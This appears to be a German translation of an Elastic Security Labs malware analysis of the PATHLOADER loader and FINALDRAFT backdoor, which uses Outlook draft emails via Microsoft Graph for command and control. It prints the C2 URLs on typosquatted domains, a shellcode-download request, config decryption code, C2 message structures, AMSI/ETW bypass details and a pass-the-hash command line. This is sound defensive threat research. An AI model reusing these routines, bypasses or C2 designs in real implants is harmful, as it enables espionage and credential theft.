Zusammenfassung

Bei der Untersuchung REF7707 entdeckten die Elastic Security Labs eine neue Familie bisher unbekannter Malware, die Outlook als Kommunikationskanal über die Microsoft Graph-API nutzt. Dieses Post-Exploitation-Kit enthält einen Loader, eine Backdoor und mehrere Submodule, die erweiterte Post-Exploitation-Aktivitäten ermöglichen.

Unsere Analyse deckte eine Linux-Variante und eine ältere PE-Variante der Malware auf, die jeweils mehrere unterschiedliche Versionen aufweisen, was darauf hindeutet, dass sich diese Tools schon seit einiger Zeit in der Entwicklung befinden.

Die Vollständigkeit der Tools und der technische Aufwand deuten darauf hin, dass die Entwickler gut organisiert sind. Der ausgedehnte Zeitrahmen der Operation und die Beweise aus unserer Telemetrie deuten darauf hin, dass es sich wahrscheinlich um eine spionageorientierte Kampagne handelt.

In diesem Bericht werden die Funktionen und Funktionen dieser Tools ausführlich beschrieben.

Die Kampagnenanalyse von REF7707 finden Sie unter From South America to Southeast Asia: The Fragile Web of REF7707.

Technische Analyse

PFADLADER

PATHLOADER ist eine Windows PE-Datei, die verschlüsselten Shellcode, der von einer externen Infrastruktur abgerufen wurde, herunterlädt und ausführt.

Unser Team hat den von PATHLOADER abgerufenen Shellcode wiederhergestellt und entschlüsselt und ein neues Implantat extrahiert, über das wir nicht öffentlich berichtet haben und das wir FINALDRAFT nennen. Wir glauben, dass diese beiden Komponenten zusammen verwendet werden, um sensible Umgebungen zu infiltrieren.

Konfiguration

PATHLOADER ist eine leichtgewichtige ausführbare Windows-Datei mit 206 Kilobyte; Dieses Programm lädt Shellcode herunter und führt ihn aus, der auf einem Remote-Server gehostet wird. PATHLOADER enthält eine eingebettete Konfiguration, die im Abschnitt .data gespeichert ist und C2 und andere relevante Einstellungen enthält.

Nach der Base64-Decodierung und -Konvertierung aus der eingebetteten Hexadezimalzeichenfolge wird die ursprüngliche Konfiguration mit zwei eindeutigen typosquattierten Domänen wiederhergestellt, die Sicherheitsanbietern ähneln.

https://poster.checkponit.com:443/nzoMeFYgvjyXK3P;https://support.fortineat.com:443/nzoMeFYgvjyXK3P;*|*

Konfiguration über PATHLOADER

API-Hashing

Um statische Analysebemühungen zu blockieren, führt PATHLOADER API-Hashing mit der Fowler-Noll-Vo-Hash-Funktion durch. Dies kann anhand des unmittelbaren Werts beobachtet werden 0x1000193 der 37 Mal innerhalb der Binärdatei gefunden wurde. Die API-Hashing-Funktionalität wird als Inline-Funktion und nicht als separate einzelne Funktion angezeigt.

Verschleierung von Zeichenfolgen

PATHLOADER verwendet eine Zeichenfolgenverschlüsselung, um die Funktionalität von Analysten zu verschleiern, die das Programm statisch überprüfen. Während die Zeichenfolgen während der Ausführung oder bei Verwendung eines Debuggers leicht zu entschlüsseln sind, wird die Verschleierung in einer Reihe angezeigt, was die Komplexität erhöht und es schwieriger macht, der Ablaufsteuerung zu folgen. Diese Verschleierung verwendet SIMD-Anweisungen (Single Instruction, Multiple Data) und XMM-Register, um die Daten zu transformieren.

Eine Zeichenfolge, die sich auf die Protokollierung WinHttpSendRequest Fehlercodes bezieht, die vom Malware-Entwickler verwendet werden, wurde unverschlüsselt gelassen.

Ausführung/Verhalten

Bei der Ausführung verwendet PATHLOADER eine Kombination aus GetTickCount64 - und Sleep Methoden, um eine sofortige Ausführung in einer Sandbox-Umgebung zu vermeiden. Nach einigen Minuten analysiert PATHLOADER seine eingebettete Konfiguration und durchläuft beide vorkonfigurierten C2-Domänen (poster.checkponit[.]com, support.fortineat[.]com) und versucht, den Shellcode über HTTPS GET Anforderungen herunterzuladen.

GET http://poster.checkponit.com/nzoMeFYgvjyXK3P HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Host: poster.checkponit.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36

Der Shellcode ist AES-verschlüsselt und Base64-kodiert. Die AES-Entschlüsselung erfolgt unter Verwendung des Shellcode-Download-URL-Pfads “/nzoMeFYgvjyXK3P” als 128-Bit-Schlüssel, der beim Aufruf der CryptImportKey -API verwendet wird.

Nach dem CryptDecrypt Aufruf wird der entschlüsselte Shellcode in den zuvor zugewiesenen Speicher kopiert. Die Speicherseite wird dann mithilfe der NtProtectVirtualMemory -API auf PAGE_EXECUTE_READ_WRITE festgelegt. Sobald die Seite auf den entsprechenden Schutz festgelegt ist, wird der Shellcode-Einstiegspunkt aufgerufen, der wiederum die nächste Stufe lädt und ausführt: FINALDRAFT.

ENDGÜLTIGER ENTWURF

FINALDRAFT ist eine in C++ geschriebene 64-Bit-Malware, die sich auf Datenexfiltration und Prozessinjektion konzentriert. Es enthält zusätzliche Module, die als Teile des FINALDRAFT-Kits identifiziert werden und von der Malware injiziert werden können. Die Ausgabe dieser Module wird dann an den C2-Server weitergeleitet.

Einstiegspunkt

FINALDRAFT exportiert einen einzelnen Einstiegspunkt als Einstiegsfunktion. Der Name dieser Funktion variiert je nach Stichprobe. In diesem Beispiel wird es als UpdateTaskbezeichnet.

Initialisierung

Die Malware wird initialisiert, indem ihre Konfiguration geladen und eine Sitzungs-ID generiert wird.

Prozess des Ladens der Konfiguration

Die Konfiguration wird in der Binärdatei in einem verschlüsselten Blob hartcodiert. Es wird mit dem folgenden Algorithmus entschlüsselt.

for ( i = 0; i < 0x149A; ++i )
  configuration[i] ^= decryption_key[i & 7];

Entschlüsselungsalgorithmus für Konfigurationsdaten

Der Entschlüsselungsschlüssel wird entweder von der Windows-Produkt-ID (HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId) oder von einer Zeichenfolge abgeleitet, die sich nach dem verschlüsselten Blob befindet. Dies wird durch ein globales Flag bestimmt, das sich nach dem verschlüsselten Konfigurationsblob befindet.

Der Algorithmus zur Ableitung des Entschlüsselungsschlüssels wird wie folgt ausgeführt:

uint64_t decryption_key = 0;
do
  decryption_key = *data_source++ + 31 * decryption_key;
while ( data_source != &data_source[data_source_length] );

Algorithmus zur Ableitung des Entschlüsselungsschlüssels

Die Konfigurationsstruktur wird wie folgt beschrieben:

struct Configuration // sizeof=0x149a
{
  char c2_hosts_or_refresh_token[5000];
  char pastebin_url[200];
  char guid[36];
  uint8_t unknown_0[4];
  uint16_t build_id;
  uint32_t sleep_value;
  uint8_t communication_method;
  uint8_t aes_encryption_key[16];
  bool get_external_ip_address;
  uint8_t unknown_1[10]
};

Struktur der Konfiguration

Die Konfiguration ist varianten- und versionsübergreifend konsistent, obwohl nicht alle Felder verwendet werden. Zum Zeitpunkt dieser Veröffentlichung wurde z. B. das Feld Kommunikationsmethode in der Hauptvariante nicht verwendet, und es wurde nur die MSGraph/Outlook-Methode verwendet. Dies ist jedoch weder in der ELF-Variante noch in früheren Versionen von FINALDRAFT der Fall.

Die Konfiguration enthält auch eine Pastebin-URL, die in keiner der Varianten verwendet wird. Diese URL war für uns jedoch sehr nützlich, um von der ursprünglichen Stichprobe zu wechseln.

Prozess der Ableitung der Sitzungs-ID

Die Sitzungs-ID, die für die Kommunikation zwischen FINALDRAFT und C2 verwendet wird, wird durch Erstellen einer zufälligen GUID generiert, die dann mit der Hash-Funktion Fowler-Noll-Vo (FNV) verarbeitet wird.

Kommunikationsprotokoll

Bei unserer Analyse haben wir festgestellt, dass in der Konfiguration verschiedene Kommunikationsmethoden zur Verfügung stehen. Das aktuellste Beispiel verwendet derzeit jedoch nur die COutlookTrans -Klasse, die den Outlook-E-Mail-Dienst über die Microsoft Graph-API missbraucht. Dieselbe Technik wurde in SIESTAGRAPH beobachtet, einer bisher unbekannten Malware-Familie, die von Elastic Security Labs im Februar 2023 gemeldet und einer mit der VR China verbundenen Bedrohungsgruppe zugeschrieben wurde.

Das Microsoft Graph-API-Token wird von FINALDRAFT mithilfe der https://login.microsoftonline.com/common/oauth2/token Endpunkt. Das für diesen Endpunkt verwendete Aktualisierungstoken befindet sich in der Konfiguration.

Nach der Aktualisierung wird das Microsoft Graph-API-Token in den folgenden Registrierungspfaden gespeichert, je nachdem, ob der Benutzer über Administratorrechte verfügt:

• HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\UUID\<uuid_from_configuration>
• HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\UUID\<uuid_from_configuration>

Dieses Token wird in allen Anforderungen wiederverwendet, wenn es noch gültig ist.

Der Kommunikationskreislauf wird wie folgt beschrieben:

• Erstellen Sie einen Sitzungs-E-Mail-Entwurf, falls dieser noch nicht vorhanden ist.
• Lesen und Löschen von E-Mail-Entwürfen, die vom C2 erstellt wurden.
• Befehle verarbeiten
• Schreiben Sie Befehlsantwort-E-Mails als Entwürfe für jeden verarbeiteten Befehl.

Es wird geprüft, ob bereits eine Sitzungs-E-Mail in Form einer Befehlsantwort-E-Mail vorhanden ist, die durch den Betreff p_<session-id>identifiziert wird. Ist dies nicht der Fall, wird in den Mail-Entwürfen eine erstellt. Der Inhalt dieser E-Mail ist base64-kodiert, aber nicht AES-verschlüsselt.

Die Sitzungsdaten werden in der folgenden Struktur beschrieben.

struct Session
{
  char random_bytes[30];
  uint32_t total_size;
  char field_22;
  uint64_t session_id;
  uint64_t build_number;
  char field_33;
};

Struktur der Sitzungsdaten

Die Befehlswarteschlange wird gefüllt, indem die letzten fünf C2-Befehlsanforderungs-E-Mails in den E-Mail-Entwürfen überprüft werden, die den Betreff r_<session-id>haben.

Nach dem Lesen der Anfrage werden die E-Mails dann gelöscht.

Die Befehle werden dann verarbeitet und die Antworten werden in neue E-Mail-Entwürfe geschrieben, die jeweils den gleichen p_<session-id> Betreff für jede Befehlsantwort haben.

Der Inhalt für Nachrichtenanfragen und -antworten wird mit Zlib komprimiert, mit AES CBC verschlüsselt und mit Base64 codiert. Der AES-Schlüssel, der für die Ver- und Entschlüsselung verwendet wird, befindet sich im Konfigurationsblob.

Base64(AESEncrypt(ZlibCompress(data)))

Anforderungsnachrichten, die vom C2 an das Implantat gesendet werden, folgen dieser Struktur.

struct C2Message{
  struct {
    uint8_t random_bytes[0x1E];  
    uint32_t message_size;    
    uint64_t session_id;      
  } header;                     // Size: 0x2A (42 bytes)
  
  struct {
    uint32_t command_size;                     
    uint32_t next_command_struct_offset;
    uint8_t command_id;                   
    uint8_t unknown[8];                   
    uint8_t command_args[];                       
  } commands[];
};

Nachrichtenstruktur anfordern

Antwortnachrichten, die vom Implantat an C2 gesendet werden, folgen dieser Struktur.

struct ImplantMessage {
  struct Header {
    uint8_t random_bytes[0x1E];  
    uint32_t total_size;    
    uint8_t flag;		// Set to 1
    uint64_t session_id;
    uint16_t build_id;
    uint8_t pad[6];
  } header;
  
  struct Message {
    uint32_t actual_data_size_add_0xf;
    uint8_t command_id;
    uint8_t unknown[8];
    uint8_t flag_success;
    char newline[0x2];
    uint8_t actual_data[];
  }                    
};

Struktur der Antwortnachricht

Hier ist ein Beispiel für Daten, die durch das Implantat gestohlen wurden.

Befehle

FinalDraft registriert 37 Befehlshandler, wobei sich die meisten Funktionen um Prozessinjektion, Dateimanipulation und Netzwerk-Proxy-Funktionen drehen.

Nachfolgend finden Sie eine Tabelle mit den Befehlen und ihren IDs:

Tabelle des Befehlshandlers FINALDRAFT

Sammeln von Computerinformationen

Bei der Ausführung des Befehls GatherComputerInformation werden Informationen über den Computer des Opfers gesammelt und von FINALDRAFT gesendet. Zu diesen Informationen gehören der Computername, der Benutzername des Kontos, interne und externe IP-Adressen sowie Details zu laufenden Prozessen.

Diese Struktur wird wie folgt beschrieben:

struct ComputerInformation
{
  char field_0;
  uint64_t session_id;
  char field_9[9];
  char username[50];
  char computer_name[50];
  char field_76[16];
  char external_ip_address[20];
  char internal_ip_address[20];
  uint32_t sleep_value;
  char field_B2;
  uint32_t os_major_version;
  uint32_t os_minor_version;
  bool product_type;
  uint32_t os_build_number;
  uint16_t os_service_pack_major;
  char field_C2[85];
  char field_117;
  char current_module_name[50];
  uint32_t current_process_id;
};

Struktur der gesammelten Informationen

Die externe IP-Adresse wird erfasst, wenn sie in der Konfiguration aktiviert ist.

Diese Adresse erhält FINALDRAFT anhand der folgenden Liste öffentlicher Dienste.

Liste der IP-Lookup-Dienste

Prozessinjektion

FINALDRAFT verfügt über mehrere Befehle für die Prozessinjektion, die entweder in laufende Prozesse injiziert oder einen versteckten Prozess erstellen können, in den eingefügt werden soll.

In Fällen, in denen ein Prozess erstellt wird, ist der Zielprozess entweder ein ausführbarer Pfad, der als Parameter für den Befehl bereitgestellt wird, oder standardmäßig mspaint.exe oder conhost.exe als Fallback.

Abhängig vom Befehl und seinen Parametern kann der Prozess optional mit seinem standardmäßigen Ausgabehandle erstellt werden. In diesem Fall liest FINALDRAFT nach dem Einfügen des Prozesses aus der Ausgabe der Pipe und sendet den Inhalt zusammen mit der Befehlsantwort.

Es gibt eine weitere Option, bei der FINALDRAFT nach dem Erstellen und Einfügen des Prozesses darauf wartet, dass die Nutzlast eine benannte Windows-Pipe erstellt, anstatt das Standardhandle des Prozesses zu leiten. Anschließend stellt er eine Verbindung zur Pipe her, schreibt einige Informationen in die Pipe, liest den Ausgang und sendet die Daten über einen separaten Kanal an den C2. (Im Falle des Outlook-Transportkanals handelt es sich dabei um das Erstellen eines zusätzlichen E-Mail-Entwurfs.)

Das Verfahren zur Prozessinjektion ist einfach und basiert auf VirtualAllocEx, WriteProcessMemoryund RtlCreateUserThread API.

Weiterleiten von Daten aus TCP, UDP und Named Pipes

FINALDRAFT bietet verschiedene Methoden zum Proxying von Daten an C2, darunter UDP- und TCP-Listener sowie einen Named Pipe-Client.

Beim Proxying von UDP- und TCP-Daten wird die eingehende Kommunikation je nach Protokoll unterschiedlich behandelt. Bei UDP werden Nachrichten direkt vom Absender empfangen, während bei TCP Clientverbindungen akzeptiert werden, bevor Daten empfangen werden. In beiden Fällen werden die Daten aus dem Socket ausgelesen und an den Transportkanal weitergeleitet.

Unten sehen Sie einen Beispiel-Screenshot des recvfrom Aufrufs vom UDP-Listener.

Vor dem Starten des TCP-Listener-Servers fügt FINALDRAFT der Windows-Firewall eine Regel hinzu. Diese Regel wird entfernt, wenn der Server heruntergefahren wird. Zum Hinzufügen/Entfernen dieser Regeln verwendet die Malware COM und die Schnittstellen INetFwPolicy2 und INetFwRule .

FINALDRAFT kann auch eine TCP-Verbindung zu einem Ziel herstellen. In diesem Fall sendet er einen magischen Wert, “\x12\x34\xab\xcd\ff\xff\xcd\xab\x34\x12” , und erwartet, dass der Server denselben magischen Wert zurückgibt, bevor er mit der Weiterleitung der empfangenen Daten beginnt.

Für die Named Pipe stellt FINALDRAFT nur eine Verbindung mit einer vorhandenen Pipe her. Der Pipe-Name muss als Parameter für den Befehl angegeben werden, woraufhin er die Daten liest und über einen separaten Kanal weiterleitet.

Manipulation von Dateien

Für die Funktion zum Löschen von Dateien verhindert FINALDRAFT die Wiederherstellung von Dateien, indem Dateidaten mit Nullen überschrieben werden, bevor sie gelöscht werden.

FINALDRAFT verwendet standardmäßig CopyFileW für das Kopieren von Dateien. Wenn dies jedoch fehlschlägt, wird versucht, die Datei auf NTFS-Clusterebene zu kopieren.

Zuerst wird die Quelldatei als Laufwerkshandle geöffnet. Um die Clustergröße des Volumes abzurufen, auf dem sich die Datei befindet, wird GetDiskFreeSpaceW verwendet, um Informationen über die Anzahl der Sektoren pro Cluster und Bytes pro Sektor abzurufen. DeviceIoControl wird dann mit FSCTL_GET_RETRIEVAL_POINTERS aufgerufen, um Details zu den Ausdehnungen abzurufen: Speicherorte auf dem Datenträger, an denen die Daten der angegebenen Datei gespeichert sind, und wie viele Daten dort in Bezug auf die Clustergröße gespeichert sind.

Für jede Ausdehnung wird SetFilePointer verwendet, um den Zeiger der Quelldatei auf den entsprechenden Offset im Volume zu verschieben. Lesen und Schreiben jeweils eines Datenclusters aus der Quelldatei in die Zieldatei.

Wenn der Datei keine Clusterzuordnungen zugeordnet sind, handelt es sich um eine residente Datei, und die Daten werden in der MFT selbst gespeichert. Es verwendet den MFT-Index der Datei, um den unformatierten MFT-Datensatz abzurufen. Der Datensatz wird dann analysiert, um das Attribut $DATA zu suchen (Typbezeichner = 128). Die Daten werden dann aus diesem Attribut extrahiert und mit WriteFilein die Zieldatei geschrieben.

Injizierte Module

Unser Team beobachtete, dass mehrere zusätzliche Module, die über den DoProcessInjectionSendOutputEx Befehlshandler geladen wurden, die Prozessinjektion durchführten und die Ausgabe über eine Named Pipe zurückschrieben. Dieser von FINALDRAFT injizierte Shellcode nutzt das bekannte sRDI-Projekt und ermöglicht das Laden einer vollwertigen PE-DLL in den Speicher innerhalb desselben Prozesses, wodurch die Importe aufgelöst und der Export-Einstiegspunkt aufgerufen werden.

Aufzählung des Netzwerks (ipconfig.x64.dll)

Dieses Modul erstellt eine Named Pipe (\\.\Pipe\E340C955-15B6-4ec9-9522-1F526E6FBBF1), die darauf wartet, dass FINALDRAFT eine Verbindung zu ihr herstellt. Möglicherweise um eine Analyse/Sandboxing zu verhindern, hat der Bedrohungsakteur ein Passwort (Aslire597) als Argument verwendet, wenn das Passwort falsch ist, wird das Modul nicht ausgeführt.

Wie der Name schon sagt, handelt es sich bei diesem Modul um eine benutzerdefinierte Implementierung des Befehls ipconfig, der Netzwerkinformationen mithilfe von Windows-APIs (GetAdaptersAddresses, GetAdaptersInfo, GetNetworkParams) abruft und den Schlüsselpfad der Windows-Registrierung (SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces) liest. Nachdem die Daten abgerufen wurden, werden sie über die Named Pipe an FINALDRAFT zurückgesendet.

PowerShell-Ausführung (Psloader.x64.dll)

Dieses Modul ermöglicht es dem Operator, PowerShell-Befehle auszuführen, ohne die powershell.exe Binärdatei aufzurufen. Der verwendete Code stammt von PowerPick, einem bekannten offensiven Open-Source-Sicherheitstool.

Um der Erkennung zu entgehen, bindet das Modul zunächst die APIs EtwEventWrite, ReportEventWund AmsiScanBuffer ein und zwingt sie, immer 0zurückzugeben, wodurch die ETW-Protokollierung deaktiviert und Antischadsoftwarescans umgangen werden.

Als Nächstes lädt die DLL .data mithilfe der CLR-Hostingtechnik eine .NET-Nutzlast ( PowerPick), die in ihrem Abschnitt gespeichert ist.

Das Modul erstellt eine Named Pipe (\\.\Pipe\BD5AE956-0CF5-44b5-8061-208F5D0DBBB2), die für die Befehlsweiterleitung und den Ausgabeabruf verwendet wird. Der Hauptthread wird als Empfänger festgelegt, während ein sekundärer Thread erstellt wird, um Daten in die Pipe zu schreiben. Schließlich wird die verwaltete PowerPick-Binärdatei geladen und vom Modul ausgeführt.

Pass-the-Hash-Toolkit (pnt.x64.dll)

Bei diesem Modul handelt es sich um ein benutzerdefiniertes Pass-the-Hash (PTH)-Toolkit, das zum Starten neuer Prozesse mit gestohlenen NTLM-Hashes verwendet wird. Diese PTH-Implementierung ist weitgehend von der von Mimikatz inspirierten Implementierung und ermöglicht eine seitliche Bewegung.

Dieses Modul benötigt ein Kennwort (Aslire597), eine Domäne und einen Benutzernamen mit dem NTLM-Hash sowie den Dateipfad des Programms, für das erhöhte Rechte ausgeführt werden sollen. In unserem Beispiel wird diese Befehlszeile vom sRDI-Shellcode geladen. Unten sehen Sie ein Beispiel für die Befehlszeile.

program.exe <password> <domain>\<account>:<ntlm_hash> <target_process>

Wie das andere Modul erstellt es eine Named Pipe "\\.\Pipe\EAA0BF8D-CA6C-45eb-9751-6269C70813C9" und wartet auf eingehende Verbindungen von FINALDRAFT. Diese Named Pipe dient als Protokollierungskanal.

Nach dem Herstellen der Pipeverbindung erstellt die Malware mithilfe von CreateProcessWithLogonWeinen Zielprozess in einem angehaltenen Zustand, identifiziert Schlüsselstrukturen wie die LogonSessionList und LogonSessionListCount innerhalb des LSASS-Prozesses (Local Security Authority Subsystem Service), der auf die Anmeldesitzung abzielt, die durch das angegebene Argument angegeben wird.

Sobald die richtige Sitzung gefunden wurde, wird die aktuelle Anmeldeinformationsstruktur in LSASS mit dem bereitgestellten NTLM-Hash anstelle des NTLM-Hashs des aktuellen Benutzers überschrieben, und schließlich wird der Prozessthread fortgesetzt. Diese Technik wird im Blogbeitrag "Inside the Mimikatz Pass-the-Hash Command (Part 2)"von Praetorian ausführlich erklärt. Das Ergebnis wird dann an die Named Pipe gesendet.

FINALDRAFT ELF-Variante

Bei dieser Untersuchung haben wir eine ELF-Variante von FINALDRAFT entdeckt. Diese Version unterstützt mehr Transportprotokolle als die PE-Version, verfügt jedoch über weniger Funktionen, was darauf hindeutet, dass sie sich möglicherweise in der Entwicklung befindet.

Zusätzliche Transportkanäle

Die ELF-Variante von FINALDRAFT unterstützt sieben zusätzliche Protokolle für C2-Transportkanäle:

FINALDRAFT ELF-Variante C2 Kommunikationsmöglichkeiten

Aus den ermittelten ELF-Beispielen haben wir Implantate identifiziert, die für die Verwendung der API-Kanäle HTTP und Outlook über Graph konfiguriert sind.

Obwohl die Codestruktur dem aktuellsten PE-Beispiel ähnelt, wurden zum Zeitpunkt dieser Veröffentlichung einige Teile der Funktionalität des Implantats geändert, um der Linux-Umgebung zu entsprechen. Beispielsweise werden neue angeforderte Microsoft OAuth-Aktualisierungstoken in eine Datei auf dem Datenträger geschrieben, entweder /var/log/installlog.log.<UUID_from_config> oder /mnt/hgfsdisk.log.<UUID_from_config> , wenn nicht in die vorherige Datei geschrieben werden kann.

Unten sehen Sie einen Ausschnitt der Konfiguration, die den HTTP-Kanal verwendet. Wir können sehen, dass zwei C2-Server anstelle eines Microsoft-Aktualisierungstokens verwendet werden, die Portnummer 0x1bb (443) bei Offset 0xc8und das Flag für die Verwendung von HTTPS bei Offset 0xfc.

Die Domains sind bewusst so gestaltet, dass sie namhafte Anbieter, wie z.B. "VMSphere" (VMware vSphere), typosquat. Es ist jedoch unklar, welcher Anbieter "Hobiter" in diesem Fall zu imitieren versucht.

Domain-Liste

Befehle

Alle Befehle überschneiden sich mit dem Windows-Gegenstück, bieten jedoch weniger Optionen. Es gibt zwei C2-Befehle, die dem Sammeln von Informationen über den Computer des Opfers gewidmet sind. Zusammen erfassen diese Befehle die folgenden Details:

• Hostname
• Aktuell angemeldeter Benutzer
• Intranet-IP-Adresse
• Externe IP-Adresse
• Gateway-IP-Adresse
• Startzeit des Systems
• Name und Version des Betriebssystems
• Kernel-Version
• Systemarchitektur
• Maschinen-GUID
• Liste der aktiven Netzwerkverbindungen
• Liste der laufenden Prozesse
• Name des aktuellen Prozesses

Ausführung von Befehlen

Es gibt zwar keine Prozessinjektionsfunktionen, aber das Implantat kann Shell-Befehle direkt ausführen. Es verwendet popen für die Befehlsausführung, erfasst sowohl Standardausgaben als auch Fehler und sendet die Ergebnisse zurück an die C2-Infrastruktur.

Selbstlöschung

Um den Pfad der aktuell ausgeführten ausführbaren Datei dynamisch aufzulösen, wird der symbolische Link, der auf das ausführbare Bild zeigt, an sys_readlinkübergeben. sys_unlink wird dann aufgerufen, um die ausführbare Datei aus dem Dateisystem zu entfernen.

Älteres FINALDRAFT PE-Beispiel

Bei unserer Untersuchung haben wir eine ältere Version von FINALDRAFT identifiziert. Diese Version unterstützt halb so viele Befehle, enthält aber neben dem MS Graph API/Outlook-Transportkanal ein zusätzliches Transportprotokoll.

Der Name der Binärdatei lautet Session.x64.dll, und ihr Einstiegspunktexport heißt GoogleProxy:

HTTP-Transportkanal

Diese ältere Version von FINALDRAFT wählt je nach Konfiguration zwischen dem Outlook- oder dem HTTP-Transportkanal aus.

In diesem Beispiel enthält die Konfiguration eine Liste von Hosts anstelle des Aktualisierungstokens aus dem Hauptbeispiel. Dieselben Domains wurden von PATHLOADER verwendet, die Domain (checkponit[.]com) wurde am 2022-08-26T09:43:16Z und die Domain (fortineat[.]com) am 2023-11-08T09:47:47Z registriert.

Die Domains typisieren absichtlich echte bekannte Anbieter, in diesem Fall CheckPoint und Fortinet.

Domain-Liste

Shell-Befehl

In diesem Beispiel ist ein zusätzlicher Befehl vorhanden, der in späteren Versionen nicht vorhanden ist. Dieser Befehl mit der ID 1führt einen Shell-Befehl aus.

Die Ausführung erfolgt durch Erstellen eines cmd.exe Prozesses mit dem Parameter "/c" und anschließendes Anhängen des eigentlichen Befehls an den Parameter.

Erkennung

Elastic Defend erkennt den Prozessinjektionsmechanismus anhand von zwei Regeln. Die erste Regel erkennt den WriteProcessMemory API-Aufruf, der auf einen anderen Prozess abzielt, was ein häufiges Verhalten ist, das bei Prozessinjektionstechniken beobachtet wird.

Die zweite Regel erkennt die Erstellung eines Remote-Threads zum Ausführen des Shellcodes.

Wir erkennen auch das Laden der PowerShell-Engine durch das Psloader.x64.dll -Modul, das in das bekannte Ziel mspaint.exeinjiziert wird.

Malware und MITRE ATT&CK

Elastic verwendet das MITRE ATT&CK-Framework , um gängige Taktiken, Techniken und Verfahren zu dokumentieren, die Bedrohungen gegen Unternehmensnetzwerke einsetzen.

Taktiken

• Command and Control
• Tarnung
• Discovery
• Ausführung
• Exfiltration
• Horizontale Bewegung

Techniken

Techniken stellen dar, wie ein Angreifer ein taktisches Ziel erreicht, indem er eine Aktion ausführt.

• Webservice: Unidirektionale Kommunikation
• Verschlüsselter Kanal: Symmetrische Kryptographie
• Artefakte ausblenden: Verstecktes Fenster
• Maskierung: Übereinstimmung mit dem legitimen Namen oder Standort
• Masquerading: Systemdienstprogramme umbenennen
• Prozessinjektion: Portable ausführbare Injektion
• Reflektierendes Laden von Codes
• Alternatives Authentifizierungsmaterial verwenden: Übergeben Sie den Hash
• Erkennung von Netzwerkdiensten
• Prozess-Erkennung
• Registrierung abfragen
• Exfiltration über Webdienst

Gegenmaßnahmen

Erkennung

• Verdächtiger Speicherschreibvorgang in einen Remoteprozess
• Ungewöhnlicher PowerShell-Engine-ImageLoad
• AMSI-Bypass über nicht gesicherten Speicher
• AMSI or WLDP Bypass via Memory Patching
• Verdächtige Ausführung über den Windows-Dienst
• Ausführung über das Windows-Befehlszeilen-Debugging-Dienstprogramm
• Verdächtige Eltern-Kind-Beziehung

YARA

Elastic Security hat die folgenden YARA-Regeln im Zusammenhang mit diesem Beitrag erstellt:

• Windows.Trojan.PathLoader
• Windows.Trojan.FinalDraft
• Linux.Trojan.FinalDraft
• Multi.Trojan.FinalDraft

Beobachtungen

Die folgenden Observablen wurden in dieser Studie diskutiert: